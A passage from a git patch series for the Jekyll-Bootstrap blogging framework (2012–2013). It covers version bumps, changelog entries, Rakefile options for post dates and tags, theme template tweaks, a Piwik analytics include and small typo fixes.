e1364af..4a63f5e 100644 --- a/Rakefile +++ b/Rakefile @@ -4,7 +4,7 @@ require 'yaml' SOURCE = "." CONFIG = { - 'version' => "0.2.0", + 'version' => "0.2.7", 'themes' => File.join(SOURCE, "_includes", "themes"), 'layouts' => File.join(SOURCE, "_layouts"), 'posts' => File.join(SOURCE, "_posts"), diff --git a/_config.yml b/_config.yml index ec08e3d..4433f52 100644 --- a/_config.yml +++ b/_config.yml @@ -31,7 +31,7 @@ production_url : http://username.github.com # All Jekyll-Bootstrap specific configurations are namespaced into this hash # JB : - version : 0.2.0 + version : 0.2.7 # All links will be namespaced by BASE_PATH if defined. # Links in your website should always be prefixed with {{BASE_PATH}} diff --git a/changelog.md b/changelog.md index 6332d58..70537e3 100644 --- a/changelog.md +++ b/changelog.md @@ -5,6 +5,18 @@ Incremental version bumps that were not released publicly are nested where appro P.S. If there is a standard (popular) changelog format, please let me know. +- **0.2.7 : 2012.03.01** + - **Features** + - 0.2.7 : @daz Updates twitter theme framework to use 2.x while still maintaining core layout. #50 + @philips and @treggats add support for page.tagline metadata. #31 & #48 + - 0.2.6 : @koomar Adds Mixpanel analytics provider. #49 + - 0.2.5 : @nolith Adds ability to load custom rake scripts. #33 + - 0.2.4 : @tommyblue Updated disqus comments provider to be compatible with posts imported from Wordpress. #47 + + - **Bug Fixes** + - 0.2.3 : @3martini Adds Windows MSYS Support and error checks for git system calls. #40 + - 0.2.2 : @sstar Resolved an issue preventing disabling comments for individual pages #44 + - 0.2.1 : Resolve incorrect HOME\_PATH/BASE\_PATH settings - **0.2.0 : 2012.02.01** Features @@ -19,8 +31,7 @@ P.S. If there is a standard (popular) changelog format, please let me know. - **0.1.0 : 2012.01.24** First major versioned release. - - Features + Features - Standardize Public API - Use name-spacing and modulation where possible. - Ability to override public methods with custom code. @@ -32,4 +43,3 @@ P.S. If there is a standard (popular) changelog format, please let me know. Thank you everybody for dealing with the fast changes and helping me work out the API to a manageable state. - \ No newline at end of file From 02e2f861e799310994e5dfd42df479a443d9e963 Mon Sep 17 00:00:00 2001 From: Andrea Schiavini <andrea.schiavini@gmail.com> Date: Wed, 8 Feb 2012 14:45:46 +0100 Subject: [PATCH 086/144] Added option to specify time when creating posts --- Rakefile | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Rakefile b/Rakefile index 4a63f5e..7829d7c 100644 --- a/Rakefile +++ b/Rakefile @@ -39,13 +39,14 @@ module JB end #Path end #JB -# Usage: rake post title="A Title" +# Usage: rake post title="A Title" date="2012-02-09" desc "Begin a new post in #{CONFIG['posts']}" task :post do abort("rake aborted: '#{CONFIG['posts']}' directory not found.") unless FileTest.directory?(CONFIG['posts']) title = ENV["title"] || "new-post" slug = title.downcase.strip.gsub(' ', '-').gsub(/[^\w-]/, '') - filename = File.join(CONFIG['posts'], "#{Time.now.strftime('%Y-%m-%d')}-#{slug}.#{CONFIG['post_ext']}") + date = ENV['date'] || Time.now.strftime('%Y-%m-%d') + filename = File.join(CONFIG['posts'], "#{date}-#{slug}.#{CONFIG['post_ext']}") if File.exist?(filename) abort("rake aborted!") if ask("#{filename} already exists. Do you want to overwrite?", ['y', 'n']) == 'n' end From 2d629f296120ffd42c3ed5f4a1b94fff15b3204d Mon Sep 17 00:00:00 2001 From: Andrea Schiavini <andrea.schiavini@gmail.com> Date: Mon, 13 Feb 2012 12:46:46 +0100 Subject: [PATCH 087/144] Using Time.parse to ensure date format is valid --- Rakefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index 7829d7c..65c2249 100644 --- a/Rakefile +++ b/Rakefile @@ -45,7 +45,7 @@ task :post do abort("rake aborted: '#{CONFIG['posts']}' directory not found.") unless FileTest.directory?(CONFIG['posts']) title = ENV["title"] || "new-post" slug = title.downcase.strip.gsub(' ', '-').gsub(/[^\w-]/, '') - date = ENV['date'] || Time.now.strftime('%Y-%m-%d') + date = (Time.parse(ENV['date']) || Time.now).strftime('%Y-%m-%d') filename = File.join(CONFIG['posts'], "#{date}-#{slug}.#{CONFIG['post_ext']}") if File.exist?(filename) abort("rake aborted!") if ask("#{filename} already exists. Do you want to overwrite?", ['y', 'n']) == 'n' From 1a9411aea96ef71839de44890889dda751227e6a Mon Sep 17 00:00:00 2001 From: Andrea Schiavini <andrea.schiavini@gmail.com> Date: Mon, 13 Feb 2012 12:50:18 +0100 Subject: [PATCH 088/144] Forgot including require time --- Rakefile | 1 + 1 file changed, 1 insertion(+) diff --git a/Rakefile b/Rakefile index 65c2249..24319d1 100644 --- a/Rakefile +++ b/Rakefile @@ -1,6 +1,7 @@ require "rubygems" require 'rake' require 'yaml' +require 'time' SOURCE = "." CONFIG = { From 9c1cf75ce89f9c99504a1f812a0f88fffd0430a1 Mon Sep 17 00:00:00 2001 From: Andrea Schiavini <andrea.schiavini@gmail.com> Date: Mon, 13 Feb 2012 12:54:25 +0100 Subject: [PATCH 089/144] Added exception handling to display a user friendly message when time parse goes wrong --- Rakefile | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index 24319d1..b19d129 100644 --- a/Rakefile +++ b/Rakefile @@ -46,7 +46,12 @@ task :post do abort("rake aborted: '#{CONFIG['posts']}' directory not found.") unless FileTest.directory?(CONFIG['posts']) title = ENV["title"] || "new-post" slug = title.downcase.strip.gsub(' ', '-').gsub(/[^\w-]/, '') - date = (Time.parse(ENV['date']) || Time.now).strftime('%Y-%m-%d') + begin + date = (Time.parse(ENV['date']) || Time.now).strftime('%Y-%m-%d') + rescue Exception => e + puts "Error - date format must be YYYY-MM-DD, please check you typed it correctly!" + exit -1 + end filename = File.join(CONFIG['posts'], "#{date}-#{slug}.#{CONFIG['post_ext']}") if File.exist?(filename) abort("rake aborted!") if ask("#{filename} already exists. Do you want to overwrite?", ['y', 'n']) == 'n' From cefdd4e2c3ff08a1e949e035d492387b90329c88 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Thu, 1 Mar 2012 03:49:02 -0800 Subject: [PATCH 090/144] bump to 0.2.8 Forgot about my buddy @metalelf0 =/ --- README.md | 2 +- Rakefile | 2 +- _config.yml | 2 +- changelog.md | 3 ++- 4 files changed, 5 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 401bca5..7c5f198 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ For all usage and documentation please see: <http://jekyllbootstrap.com> ## Version -0.2.7 - stable and versioned using [semantic versioning](http://semver.org/). +0.2.8 - stable and versioned using [semantic versioning](http://semver.org/). ## Contributing diff --git a/Rakefile b/Rakefile index b19d129..2806bb8 100644 --- a/Rakefile +++ b/Rakefile @@ -5,7 +5,7 @@ require 'time' SOURCE = "." CONFIG = { - 'version' => "0.2.7", + 'version' => "0.2.8", 'themes' => File.join(SOURCE, "_includes", "themes"), 'layouts' => File.join(SOURCE, "_layouts"), 'posts' => File.join(SOURCE, "_posts"), diff --git a/_config.yml b/_config.yml index 4433f52..c2c0114 100644 --- a/_config.yml +++ b/_config.yml @@ -31,7 +31,7 @@ production_url : http://username.github.com # All Jekyll-Bootstrap specific configurations are namespaced into this hash # JB : - version : 0.2.7 + version : 0.2.8 # All links will be namespaced by BASE_PATH if defined. # Links in your website should always be prefixed with {{BASE_PATH}} diff --git a/changelog.md b/changelog.md index 70537e3..f166d80 100644 --- a/changelog.md +++ b/changelog.md @@ -5,8 +5,9 @@ Incremental version bumps that were not released publicly are nested where appro P.S. If there is a standard (popular) changelog format, please let me know. -- **0.2.7 : 2012.03.01** +- **0.2.8 : 2012.03.01** - **Features** + - 0.2.8 : @metalelf0 Added option to specify a custom date when creating post. - 0.2.7 : @daz Updates twitter theme framework to use 2.x while still maintaining core layout. #50 @philips and @treggats add support for page.tagline metadata. #31 & #48 - 0.2.6 : @koomar Adds Mixpanel analytics provider. #49 From 9a69c8ed2470d8ff74736a45c8dbc42786ecbceb Mon Sep 17 00:00:00 2001 From: Alistair Hutchison <github@alistairh.co.uk> Date: Wed, 7 Mar 2012 13:28:24 +0000 Subject: [PATCH 091/144] Fix for the error on post creation if date was not specified. --- Rakefile | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Rakefile b/Rakefile index 2806bb8..581b869 100644 --- a/Rakefile +++ b/Rakefile @@ -40,19 +40,19 @@ module JB end #Path end #JB -# Usage: rake post title="A Title" date="2012-02-09" +# Usage: rake post title="A Title" [date="2012-02-09"] desc "Begin a new post in #{CONFIG['posts']}" task :post do abort("rake aborted: '#{CONFIG['posts']}' directory not found.") unless FileTest.directory?(CONFIG['posts']) title = ENV["title"] || "new-post" slug = title.downcase.strip.gsub(' ', '-').gsub(/[^\w-]/, '') begin - date = (Time.parse(ENV['date']) || Time.now).strftime('%Y-%m-%d') + date = (ENV['date'] ? Time.parse(ENV['date']) : Time.now).strftime('%Y-%m-%d') rescue Exception => e puts "Error - date format must be YYYY-MM-DD, please check you typed it correctly!" exit -1 end - filename = File.join(CONFIG['posts'], "#{date}-#{slug}.#{CONFIG['post_ext']}") + filename = File.join(CONFIG['posts'], "##{date}-#{slug}.#{CONFIG['post_ext']}") if File.exist?(filename) abort("rake aborted!") if ask("#{filename} already exists. Do you want to overwrite?", ['y', 'n']) == 'n' end From 6d97712a41efa1cc0a68751dc776dd8c063befdb Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Wed, 7 Mar 2012 14:47:30 -0800 Subject: [PATCH 092/144] Fix typo --- Rakefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index 581b869..c14bd49 100644 --- a/Rakefile +++ b/Rakefile @@ -52,7 +52,7 @@ task :post do puts "Error - date format must be YYYY-MM-DD, please check you typed it correctly!" exit -1 end - filename = File.join(CONFIG['posts'], "##{date}-#{slug}.#{CONFIG['post_ext']}") + filename = File.join(CONFIG['posts'], "#{date}-#{slug}.#{CONFIG['post_ext']}") if File.exist?(filename) abort("rake aborted!") if ask("#{filename} already exists. Do you want to overwrite?", ['y', 'n']) == 'n' end From 162a85dfb6f2801840b00ae995adeb322487132b Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Wed, 7 Mar 2012 14:52:22 -0800 Subject: [PATCH 093/144] Bump to 0.2.9 --- README.md | 2 +- Rakefile | 2 +- _config.yml | 2 +- changelog.md | 4 ++++ 4 files changed, 7 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 7c5f198..394273c 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ For all usage and documentation please see: <http://jekyllbootstrap.com> ## Version -0.2.8 - stable and versioned using [semantic versioning](http://semver.org/). +0.2.9 - stable and versioned using [semantic versioning](http://semver.org/). ## Contributing diff --git a/Rakefile b/Rakefile index c14bd49..cf975c3 100644 --- a/Rakefile +++ b/Rakefile @@ -5,7 +5,7 @@ require 'time' SOURCE = "." CONFIG = { - 'version' => "0.2.8", + 'version' => "0.2.9", 'themes' => File.join(SOURCE, "_includes", "themes"), 'layouts' => File.join(SOURCE, "_layouts"), 'posts' => File.join(SOURCE, "_posts"), diff --git a/_config.yml b/_config.yml index c2c0114..5c7da1a 100644 --- a/_config.yml +++ b/_config.yml @@ -31,7 +31,7 @@ production_url : http://username.github.com # All Jekyll-Bootstrap specific configurations are namespaced into this hash # JB : - version : 0.2.8 + version : 0.2.9 # All links will be namespaced by BASE_PATH if defined. # Links in your website should always be prefixed with {{BASE_PATH}} diff --git a/changelog.md b/changelog.md index f166d80..a7c9555 100644 --- a/changelog.md +++ b/changelog.md @@ -5,6 +5,10 @@ Incremental version bumps that were not released publicly are nested where appro P.S. If there is a standard (popular) changelog format, please let me know. +- **0.2.9 : 2012.03.01** + - **Bug Fixes** + - 0.2.9 : @alishutc Fixes the error on post creation if date was not specified. + - **0.2.8 : 2012.03.01** - **Features** - 0.2.8 : @metalelf0 Added option to specify a custom date when creating post. From 59d6a7b79e7a9bfce3912a2e2f9a9132e9f2afd5 Mon Sep 17 00:00:00 2001 From: Kori Roys <kori@koriroys.com> Date: Sun, 11 Mar 2012 14:38:29 -0500 Subject: [PATCH 094/144] fixed extra h hanging out in atomfeed ids #60 --- atom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atom.xml b/atom.xml index 1be3bdf..f088ba4 100644 --- a/atom.xml +++ b/atom.xml @@ -20,7 +20,7 @@ title : Atom Feed <title>{{ post.title }}</title> <link href="{{ site.production_url }}{{ post.url }}"/> <updated>{{ post.date | date_to_xmlschema }}</updated> - <id>h{{ site.production_url }}{{ post.id }}</id> + <id>{{ site.production_url }}{{ post.id }}</id> <content type="html">{{ post.content | xml_escape }}</content> </entry> {% endfor %} From 1aa9527657ca44cd637342ff2bd3610e92e388a5 Mon Sep 17 00:00:00 2001 From: Lukas Knuth <mr.luke.187@googlemail.com> Date: Tue, 20 Mar 2012 22:49:55 +0100 Subject: [PATCH 095/144] Added the description-variable in the Rakefile to include it in newly created posts/pages --- Rakefile | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Rakefile b/Rakefile index cf975c3..0e0b45e 100644 --- a/Rakefile +++ b/Rakefile @@ -62,6 +62,7 @@ task :post do post.puts "---" post.puts "layout: post" post.puts "title: \"#{title.gsub(/-/,' ')}\"" + post.puts "description: \"\"" post.puts "category: " post.puts "tags: []" post.puts "---" @@ -88,6 +89,7 @@ task :page do post.puts "---" post.puts "layout: page" post.puts "title: \"#{title}\"" + post.puts "description: \"\"" post.puts "---" post.puts "{% include JB/setup %}" end From cc7a99f390a464e4d03bc5cb55d4e8ed42d10e34 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Sat, 24 Mar 2012 12:52:28 -0700 Subject: [PATCH 096/144] styling --- Rakefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Rakefile b/Rakefile index 0e0b45e..65e8ba5 100644 --- a/Rakefile +++ b/Rakefile @@ -62,7 +62,7 @@ task :post do post.puts "---" post.puts "layout: post" post.puts "title: \"#{title.gsub(/-/,' ')}\"" - post.puts "description: \"\"" + post.puts 'description: ""' post.puts "category: " post.puts "tags: []" post.puts "---" @@ -89,7 +89,7 @@ task :page do post.puts "---" post.puts "layout: page" post.puts "title: \"#{title}\"" - post.puts "description: \"\"" + post.puts 'description: ""' post.puts "---" post.puts "{% include JB/setup %}" end From e3e849e6e3232cd9df30ce64880095b7b002ae9c Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Sat, 24 Mar 2012 13:00:38 -0700 Subject: [PATCH 097/144] Show tagline only if set. credit to @sway as seen in pull #48 --- _includes/themes/twitter/page.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_includes/themes/twitter/page.html b/_includes/themes/twitter/page.html index 68d6392..b86f4d6 100644 --- a/_includes/themes/twitter/page.html +++ b/_includes/themes/twitter/page.html @@ -1,5 +1,5 @@ <div class="page-header"> - <h1>{{ page.title }} <small>{{ page.tagline }}</small></h1> + <h1>{{ page.title }} {% if page.tagline %} <small>{{ page.tagline }}</small>{% endif %}</h1> </div> <div class="row"> From cbfb9ca9ccf6e8da6a9cebd58317482d3628ce5f Mon Sep 17 00:00:00 2001 From: Martijn Pieters <mj@zopatista.com> Date: Fri, 23 Mar 2012 23:01:22 +0100 Subject: [PATCH 098/144] Only list pages with a title. #69 This skips the page.html, default.html, what-have-you-not pages that should not be listed in this list anyway, which otherwise result in empty bullet points. --- _includes/JB/pages_list | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/_includes/JB/pages_list b/_includes/JB/pages_list index 1afc3f3..42f827a 100644 --- a/_includes/JB/pages_list +++ b/_includes/JB/pages_list @@ -24,12 +24,14 @@ Usage: {% include custom/pages_list %} {% else %} {% for node in pages_list %} - {% if group == null or group == node.group %} - {% if page.url == node.url %} - <li class="active"><a href="{{ BASE_PATH }}{{node.url}}" class="active">{{node.title}}</a></li> - {% else %} - <li><a href="{{ BASE_PATH }}{{node.url}}">{{node.title}}</a></li> - {% endif %} + {% if node.title != null %} + {% if group == null or group == node.group %} + {% if page.url == node.url %} + <li class="active"><a href="{{ BASE_PATH }}{{node.url}}" class="active">{{node.title}}</a></li> + {% else %} + <li><a href="{{ BASE_PATH }}{{node.url}}">{{node.title}}</a></li> + {% endif %} + {% endif %} {% endif %} {% endfor %} {% endif %} From 9c0026973bf54324304ed1b917bb227603d87071 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Sat, 24 Mar 2012 13:27:43 -0700 Subject: [PATCH 099/144] bump to 0.2.13 --- README.md | 2 +- Rakefile | 2 +- _config.yml | 2 +- changelog.md | 9 +++++++++ 4 files changed, 12 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 394273c..b29578e 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ For all usage and documentation please see: <http://jekyllbootstrap.com> ## Version -0.2.9 - stable and versioned using [semantic versioning](http://semver.org/). +0.2.13 - stable and versioned using [semantic versioning](http://semver.org/). ## Contributing diff --git a/Rakefile b/Rakefile index 65e8ba5..3abf4e9 100644 --- a/Rakefile +++ b/Rakefile @@ -5,7 +5,7 @@ require 'time' SOURCE = "." CONFIG = { - 'version' => "0.2.9", + 'version' => "0.2.13", 'themes' => File.join(SOURCE, "_includes", "themes"), 'layouts' => File.join(SOURCE, "_layouts"), 'posts' => File.join(SOURCE, "_posts"), diff --git a/_config.yml b/_config.yml index 5c7da1a..6e69e22 100644 --- a/_config.yml +++ b/_config.yml @@ -31,7 +31,7 @@ production_url : http://username.github.com # All Jekyll-Bootstrap specific configurations are namespaced into this hash # JB : - version : 0.2.9 + version : 0.2.13 # All links will be namespaced by BASE_PATH if defined. # Links in your website should always be prefixed with {{BASE_PATH}} diff --git a/changelog.md b/changelog.md index a7c9555..5cad049 100644 --- a/changelog.md +++ b/changelog.md @@ -5,6 +5,15 @@ Incremental version bumps that were not released publicly are nested where appro P.S. If there is a standard (popular) changelog format, please let me know. +- **0.2.13 : 2012.03.24** + - **Features** + - 0.2.13 : @mjpieters Updates pages_list helper to only show pages having a title. + - 0.2.12 : @sway recommends showing page tagline only if tagline is set. + - 0.2.11 : @LukasKnuth adds 'description' meta-data field to post/page scaffold. + + - **Bug Fixes** + - 0.2.10 : @koriroys fixes typo in atom feed + - **0.2.9 : 2012.03.01** - **Bug Fixes** - 0.2.9 : @alishutc Fixes the error on post creation if date was not specified. From 93e0c465fd7c24d20e5b4de31d8c550edd77e1e1 Mon Sep 17 00:00:00 2001 From: Laura Cabrera <lzcabrera@gmail.com> Date: Sun, 1 Apr 2012 20:14:23 -0700 Subject: [PATCH 100/144] update to post template on twitter theme: added dynamic page description --- _includes/themes/twitter/post.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_includes/themes/twitter/post.html b/_includes/themes/twitter/post.html index 0b9f472..61975ce 100644 --- a/_includes/themes/twitter/post.html +++ b/_includes/themes/twitter/post.html @@ -1,5 +1,5 @@ <div class="page-header"> - <h1>{{ page.title }} <small>Supporting tagline</small></h1> + <h1>{{ page.title }} <small>{{page.description}}</small></h1> </div> <div class="row"> From b74f290698b7e615fa8d87a731a640bcc55bbae3 Mon Sep 17 00:00:00 2001 From: Laura Cabrera <lzcabrera@gmail.com> Date: Sun, 1 Apr 2012 23:06:53 -0700 Subject: [PATCH 101/144] added dynamic tagline to posts and conditional display statement on partial view --- _includes/themes/twitter/post.html | 2 +- _posts/core-samples/2011-12-29-jekyll-introduction.md | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/_includes/themes/twitter/post.html b/_includes/themes/twitter/post.html index 61975ce..4b1107c 100644 --- a/_includes/themes/twitter/post.html +++ b/_includes/themes/twitter/post.html @@ -1,5 +1,5 @@ <div class="page-header"> - <h1>{{ page.title }} <small>{{page.description}}</small></h1> + <h1>{{ page.title }} {% if page.tagline %}<small>{{page.tagline}}</small>{% endif %}</h1> </div> <div class="row"> diff --git a/_posts/core-samples/2011-12-29-jekyll-introduction.md b/_posts/core-samples/2011-12-29-jekyll-introduction.md index 0722bee..4738308 100644 --- a/_posts/core-samples/2011-12-29-jekyll-introduction.md +++ b/_posts/core-samples/2011-12-29-jekyll-introduction.md @@ -1,6 +1,7 @@ --- layout: post category : lessons +tagline: "Supporting tagline" tags : [intro, beginner, jekyll, tutorial] --- {% include JB/setup %} From d0e9992d91900c5a80f45421ac7b722f472dec83 Mon Sep 17 00:00:00 2001 From: Victor Widell <victor@topmost.se> Date: Fri, 6 Apr 2012 19:29:55 +0300 Subject: [PATCH 102/144] Fixed a malformed date in the sample post. --- _posts/core-samples/2011-12-29-jekyll-introduction.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/_posts/core-samples/2011-12-29-jekyll-introduction.md b/_posts/core-samples/2011-12-29-jekyll-introduction.md index 0722bee..85a1672 100644 --- a/_posts/core-samples/2011-12-29-jekyll-introduction.md +++ b/_posts/core-samples/2011-12-29-jekyll-introduction.md @@ -89,8 +89,8 @@ Jekyll expects your website directory to be laid out like so: | |-- default.html | |-- post.html |-- _posts - | |-- 20011-10-25-open-source-is-good.markdown - | |-- 20011-04-26-hello-world.markdown + | |-- 2011-10-25-open-source-is-good.markdown + | |-- 2011-04-26-hello-world.markdown |-- _site |-- index.html |-- assets From 5af25124382dc84d4f0ebefca87dbc1f5ed75fc3 Mon Sep 17 00:00:00 2001 From: Hong Xu <xuhdev@gmail.com> Date: Mon, 16 Apr 2012 20:52:27 +0800 Subject: [PATCH 103/144] Fix that theme will not be overwritten if exists. When some theme exists, "rake theme:install" will not overwrite the previous theme files, even if we answer "y" to the "Do you want to overwrite?" question. This commit fixes this. --- Rakefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Rakefile b/Rakefile index 3abf4e9..3608d98 100644 --- a/Rakefile +++ b/Rakefile @@ -197,8 +197,8 @@ namespace :theme do # Mirror each file into the framework making sure to prompt if already exists. packaged_theme_files.each do |filename| file_install_path = File.join(JB::Path.base, filename) - if File.exist? file_install_path - next if ask("#{file_install_path} already exists. Do you want to overwrite?", ['y', 'n']) == 'n' + if File.exist? file_install_path and ask("#{file_install_path} already exists. Do you want to overwrite?", ['y', 'n']) == 'n' + next else mkdir_p File.dirname(file_install_path) cp_r File.join(packaged_theme_path, filename), file_install_path From 10add5202d204489f7f7a015b73da4c4c1413693 Mon Sep 17 00:00:00 2001 From: Ian Li <i@techotaku.net> Date: Thu, 9 Aug 2012 03:31:29 +0800 Subject: [PATCH 104/144] Giving every post/page the "smarter" custom tagline (just like page.html in master branch). P.S. In master branch, every page has "smarter" custom tagline but every post haven't. --- _includes/themes/twitter/page.html | 2 +- _includes/themes/twitter/post.html | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/_includes/themes/twitter/page.html b/_includes/themes/twitter/page.html index 68d6392..b86f4d6 100644 --- a/_includes/themes/twitter/page.html +++ b/_includes/themes/twitter/page.html @@ -1,5 +1,5 @@ <div class="page-header"> - <h1>{{ page.title }} <small>{{ page.tagline }}</small></h1> + <h1>{{ page.title }} {% if page.tagline %} <small>{{ page.tagline }}</small>{% endif %}</h1> </div> <div class="row"> diff --git a/_includes/themes/twitter/post.html b/_includes/themes/twitter/post.html index 0b9f472..c81bc25 100644 --- a/_includes/themes/twitter/post.html +++ b/_includes/themes/twitter/post.html @@ -1,5 +1,5 @@ <div class="page-header"> - <h1>{{ page.title }} <small>Supporting tagline</small></h1> + <h1>{{ page.title }} {% if page.tagline %} <small>{{ page.tagline }}</small>{% endif %}</h1> </div> <div class="row"> From a6f699c71b1d43847f4aa0e11b09fc679804e8ce Mon Sep 17 00:00:00 2001 From: Romain Sertelon <bluepyth@gmail.com> Date: Tue, 11 Sep 2012 14:43:38 +0200 Subject: [PATCH 105/144] Adds Piwik Analytics Provider --- _config.yml | 3 +++ _includes/JB/analytics | 2 ++ _includes/JB/analytics-providers/piwik | 10 ++++++++++ 3 files changed, 15 insertions(+) create mode 100755 _includes/JB/analytics-providers/piwik diff --git a/_config.yml b/_config.yml index 6e69e22..4fcf3cc 100644 --- a/_config.yml +++ b/_config.yml @@ -104,6 +104,9 @@ JB : site_id : mixpanel : token : '_MIXPANEL_TOKEN_' + piwik : + baseURL : 'myserver.tld/piwik' # Piwik installation address (without protocol) + idsite : '1' # the id of the site on Piwik # Settings for sharing helper. # Sharing is for things like tweet, plusone, like, reddit buttons etc. diff --git a/_includes/JB/analytics b/_includes/JB/analytics index 4b04ec9..951a0e3 100644 --- a/_includes/JB/analytics +++ b/_includes/JB/analytics @@ -7,6 +7,8 @@ {% include JB/analytics-providers/getclicky %} {% when "mixpanel" %} {% include JB/analytics-providers/mixpanel %} +{% when "piwik" %} + {% include JB/analytics-providers/piwik %} {% when "custom" %} {% include custom/analytics %} {% endcase %} diff --git a/_includes/JB/analytics-providers/piwik b/_includes/JB/analytics-providers/piwik new file mode 100755 index 0000000..077a373 --- /dev/null +++ b/_includes/JB/analytics-providers/piwik @@ -0,0 +1,10 @@ +<script type="text/javascript"> + var pkBaseURL = (("https:" == document.location.protocol) ? "https://{{ site.JB.analytics.piwik.baseURL }}/" : "http://{{ site.JB.analytics.piwik.baseURL }}/"); + document.write(unescape("%3Cscript src='" + pkBaseURL + "piwik.js' type='text/javascript'%3E%3C/script%3E")); +</script><script type="text/javascript"> + try { + var piwikTracker = Piwik.getTracker(pkBaseURL + "piwik.php", {{ site.JB.analytics.piwik.idsite }}); + piwikTracker.trackPageView(); + piwikTracker.enableLinkTracking(); + } catch( err ) {} +</script><noscript><p><img src="http://{{ site.JB.analytics.piwik.baseURL }}/piwik.php?idsite={{ site.JB.analytics.piwik.idsite }}" style="border:0" alt="" /></p></noscript> \ No newline at end of file From aeac709cbfc80f076c7a4e964d645b3ead7ef41b Mon Sep 17 00:00:00 2001 From: Andrew Kraut <akraut@gmail.com> Date: Sun, 16 Sep 2012 23:35:28 -0700 Subject: [PATCH 106/144] Update 'rake post' to support tags on command line --- Rakefile | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index 3abf4e9..9ac5be4 100644 --- a/Rakefile +++ b/Rakefile @@ -40,11 +40,12 @@ module JB end #Path end #JB -# Usage: rake post title="A Title" [date="2012-02-09"] +# Usage: rake post title="A Title" [date="2012-02-09"] [tags=[tag1, tag2]] desc "Begin a new post in #{CONFIG['posts']}" task :post do abort("rake aborted: '#{CONFIG['posts']}' directory not found.") unless FileTest.directory?(CONFIG['posts']) title = ENV["title"] || "new-post" + tags = ENV["tags"] || "[]" slug = title.downcase.strip.gsub(' ', '-').gsub(/[^\w-]/, '') begin date = (ENV['date'] ? Time.parse(ENV['date']) : Time.now).strftime('%Y-%m-%d') From f2b463990991f65d6f5f3d3144597fa92d7d3fcc Mon Sep 17 00:00:00 2001 From: Loren Sands-Ramshaw <lorensr@gmail.com> Date: Thu, 18 Oct 2012 03:13:31 -0300 Subject: [PATCH 107/144] Update _config.yml typo --- _config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_config.yml b/_config.yml index 6e69e22..1f0b453 100644 --- a/_config.yml +++ b/_config.yml @@ -68,7 +68,7 @@ JB : ASSET_PATH : false # These paths are to the main pages Jekyll-Bootstrap ships with. - # Some JB helpers refer to these paths; change theme here if needed. + # Some JB helpers refer to these paths; change them here if needed. # archive_path: /archive.html categories_path : /categories.html From fecaedc716da7bc52672bdeb19d9d044ecb9dbc0 Mon Sep 17 00:00:00 2001 From: Adam Kerney <adam.w.kerney@gmail.com> Date: Tue, 1 Jan 2013 12:02:02 -0600 Subject: [PATCH 108/144] Fixed a typo in _config.yml --- _config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_config.yml b/_config.yml index 6e69e22..1f0b453 100644 --- a/_config.yml +++ b/_config.yml @@ -68,7 +68,7 @@ JB : ASSET_PATH : false # These paths are to the main pages Jekyll-Bootstrap ships with. - # Some JB helpers refer to these paths; change theme here if needed. + # Some JB helpers refer to these paths; change them here if needed. # archive_path: /archive.html categories_path : /categories.html From c87f664391110d4fd3ab7a102b9d72a259d3295a Mon Sep 17 00:00:00 2001 From: David Joos <david.joos@gmail.com> Date: Mon, 7 Jan 2013 20:26:14 +0000 Subject: [PATCH 109/144] Display current year via javascript --- _includes/themes/twitter/default.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/_includes/themes/twitter/default.html b/_includes/themes/twitter/default.html index a94394c..5afe82e 100644 --- a/_includes/themes/twitter/default.html +++ b/_includes/themes/twitter/default.html @@ -46,7 +46,11 @@ </div> <footer> - <p>© {{ site.author.name }} 2012 + <script type="text/javascript"> + var currentTime = new Date(); + </script> + + <p>© {{ site.author.name }} <script type="text/javascript">document.write(currentTime.getFullYear());</script> with help from <a href="http://jekyllbootstrap.com" target="_blank" title="The Definitive Jekyll Blogging Framework">Jekyll Bootstrap</a> and <a href="http://twitter.github.com/bootstrap/" target="_blank">Twitter Bootstrap</a> </p> From df99e392132a4f3e49afcd0b49cf44f0a87b0e5d Mon Sep 17 00:00:00 2001 From: David Joos <david.joos@gmail.com> Date: Tue, 29 Jan 2013 09:27:13 +0000 Subject: [PATCH 110/144] jekyll current time (when you run the jekyll command) --- _includes/themes/twitter/default.html | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/_includes/themes/twitter/default.html b/_includes/themes/twitter/default.html index 5afe82e..29b0626 100644 --- a/_includes/themes/twitter/default.html +++ b/_includes/themes/twitter/default.html @@ -46,11 +46,7 @@ 